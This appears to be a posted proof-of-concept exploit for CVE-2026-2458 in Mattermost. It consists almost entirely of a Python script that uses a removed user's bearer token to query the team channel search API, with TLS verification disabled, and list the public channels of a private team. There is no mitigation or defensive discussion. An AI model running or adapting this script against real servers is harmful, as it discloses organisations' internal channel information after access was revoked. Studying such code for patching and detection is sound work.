CVE-2026-2458 Mattermost团队成员枚举私有团队公共频道漏洞

import requests import json # CVE-2026-2458 PoC - Mattermost Channel Enumeration # Description: Exploitation of improper team membership validation # to enumerate public channels in a private team after removal. TARGET_URL = "https://mattermost.example.com" API_ENDPOINT = "/api/v4/teams/{team_id}/channels/search" def exploit_channel_enumeration(target_url, team_id, auth_token): """ Enumerate public channels in a private team after being removed. Args: target_url: Mattermost instance URL team_id: Target team's unique identifier auth_token: Authentication token of removed user Returns: List of public channels in the target team """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to search all channels in the team payload = { "term": "", # Empty term to retrieve all channels "include_deleted": False } url = f"{target_url}{API_ENDPOINT.format(team_id=team_id)}" try: response = requests.post(url, headers=headers, json=payload, verify=False) if response.status_code == 200: channels = response.json() print(f"[+] Successfully enumerated {len(channels)} channels") print("[+] Channel List:") for channel in channels: print(f" - {channel.get('name')}: {channel.get('display_name')}") return channels else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": # Configuration - Replace with actual values TEAM_ID = "target_team_uuid" AUTH_TOKEN = "removed_user_auth_token" print("[*] CVE-2026-2458 PoC - Mattermost Channel Enumeration") print("[*] Target: Mattermost < 11.3.0, < 11.2.2, < 10.11.10") result = exploit_channel_enumeration(TARGET_URL, TEAM_ID, AUTH_TOKEN) if result: print("\n[!] Vulnerability confirmed - Information disclosure possible")